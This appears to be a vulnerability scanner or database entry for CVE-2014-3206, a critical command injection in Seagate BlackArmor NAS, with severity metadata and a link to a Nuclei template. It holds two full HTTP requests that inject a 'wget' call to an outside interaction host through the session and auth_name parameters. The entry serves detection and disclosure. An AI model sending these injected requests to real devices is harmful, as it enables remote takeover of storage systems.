| Title | Seagate BlackArmor NAS - Command Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with the privileges of the affected device, potentially leading to unauthorized access, data loss, or further compromise of the network. |
| Remediation | Apply the latest firmware update provided by Seagate to patch the command injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9179 |
| CVE ID | CVE-2014-3206 |
| CWE ID | CWE-20 |
| Tags | cve2014 cve seagate rce edb vkev vuln |
Seagate BlackArmor NAS allows remote attackers to execute arbitrary code via the session parameter to localhost/backupmgt/localJob.php or the auth_name parameter to localhost/backupmgmt/pre_connect_check.php.
GET /backupmgt/localJob.php?session=fail;wget+http://d5jqqn1le0o2v84qvld0wdjm55dzujky4.oast.me; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d5jqqn1le0o2v84qvld0dyif76c7n3w1q.oast.me; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3206.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-3206.pcap
N/AN/A